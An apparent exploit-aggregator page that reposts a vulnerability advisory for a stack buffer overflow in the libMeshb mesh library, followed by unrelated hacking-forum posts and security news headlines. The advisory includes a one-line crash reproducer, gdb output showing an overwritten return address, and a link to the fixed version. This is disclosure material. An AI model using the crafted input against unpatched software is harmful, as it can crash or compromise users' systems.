Exploit Collector
libMeshb Buffer Overflow

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
libMeshb suffers from a buffer overflow vulnerability. Version 7.62 has been released to address this issue.

SHA-256 | 4eb31ef6c78c0a4496bb470b1fbeb940f7fb6e6336a12f36aa32c13366a7a515

Download
=====
Intro
=====

libMeshb is a library which supports moving between data types for the Gamma Mesh Format. A buffer overflow was found when parsing the MESH format and specially crafted .mesh files could allow for arbitrary code execution.

=====
Repro
=====

No magic bytes or valid header necessary as the bug appears to be an unbounded fscanf() processing mesh headers.

echo -ne `perl -e 'print "B" x 2176'` > test.mesh

========
Debugger
========

(gdb) r test.mesh /tmp/empty.mesh
Starting program: mesh2poly test.mesh /tmp/empty.mesh

*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7ddb859 in __GI_abort () at abort.c:79
#2 0x00007ffff7e463ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7f7007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff7ee8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7f70064 "stack smashing detected") at fortify_fail.c:26
#4 0x00007ffff7ee8b16 in __stack_chk_fail () at stack_chk_fail.c:24
#5 0x000055555555b5d2 in GmfOpenMesh ()
#6 0x4242424242424242 in ?? ()
#7 0x0000000000000000 in ?? ()

(gdb) exploitable
Description: Stack buffer overflow
Short description: StackBufferOverflow (6/22)
Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1
Exploitability Classification: EXPLOITABLE
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.
Other tags: PossibleStackCorruption (7/22), AbortSignal (20/22)

This also affects the python wrapper library pymeshb.

>>> import pymeshb
>>> pymeshb.read('test.mesh')
*** stack smashing detected ***: terminated
Aborted (core dumped)

===
Fix
===

libMeshb v7.62

- https://github.com/LoicMarechal/libMeshb/commit/8cd68c54e0647c0030ae4506a225ad4a2655c316


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How useful are code practice websites like hackerrank and codewars when it come to hacking?

How much would sharpening my coding skill be useful in relation to my goal of learning and being good at hacking?

submitted by /u/multioutletplug
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Indian govt. makes it compulsory for vpn companies to keep logs

https://external-preview.redd.it/Ui1kujB0tx_juSzGYZnUv6KzJZpaG0-4QjLpq5Yjkz4.jpg?width=640&crop=smart&auto=webp&s=b8fc374693c8a1107cec0c18b02f950c75c39fcc submitted by /u/ShreeyanxRaina
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mass account takeover in Yunmai smartscale (REST APIs hacking)

https://external-preview.redd.it/PP761LB8KHQo30_YmpntLxbpVdIoxzJ3t8jqq2_Tok4.jpg?width=640&crop=smart&auto=webp&s=7cb21013cf61454a4793f8adb5e254fd8d28c69d submitted by /u/adrian_rt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Over The Wire vs Ethical Hacking Course

Yeah exactly that is what I am asking.

A course of ethical hacking or Over the Wire.

"Pick a line, stick to it" -McQueen

That's all I want to do but picking a line is difficult.

I personally think getting a 20$ course on Udemy and then EXPLORING on the tools and frameworks mentioned would be better.

And I am also interested in learning Malware Development, Reverse engineering after learning tools and frameworks

I want to pursue a career in Ethical Hacking. Which approach is better for long term?

Every single piece of advice is welcome.

BTW OTW CTF are Fun.

submitted by /u/Blaack_Work
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Turbulent Cyber Insurance Market Sees Rising Prices and Sinking Coverage

As insurers and brokers reckon with unexpected losses, they're charging more for policies and setting higher requirements.

Dark Reading: Attacks/Breaches
Neosec Introduces Expert Managed Threat Hunting Service for Detecting and Investigating API Abuse and Vulnerabilities

Neosec threat hunters from the 'ShadowHunt' team jumpstart the API Security process quickly and help build the knowledge in today's overstretched security teams.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
US Sanctions Force Evil Corp to Change Tactics

The threat actor behind the notorious Dridex campaign has switched from using its exclusive credential-harvesting malware to a ransomware-as-a-service model, to make attribution harder.

Dark Reading: Attacks/Breaches
CyberQ Technologies Inc. Launches Managed AI for Splunk UBA Customers

.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft Philanthropies Collaborates With WiCyS to Help Close the Cybersecurity Skills Gap

Microsoft Philanthropies is expanding its cybersecurity skills for jobs campaign to 23 countries and partnering with Women in CyberSecurity (WiCyS) to build a cybersecurity workforce that is not just larger but also more diverse.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Phishers Having a Field Day on WhatsApp, Telegraph

A pair of phishing campaigns against users of WhatsApp and Telegram's Telegraph expose them to extortion, credential harvesting, and even account takeover.

Dark Reading: Attacks/Breaches
Intel Chipset Firmware Actively Targeted by Conti Group

Conti threat actors are betting chipset firmware is updated less frequently than other software — and winning big, analysts say.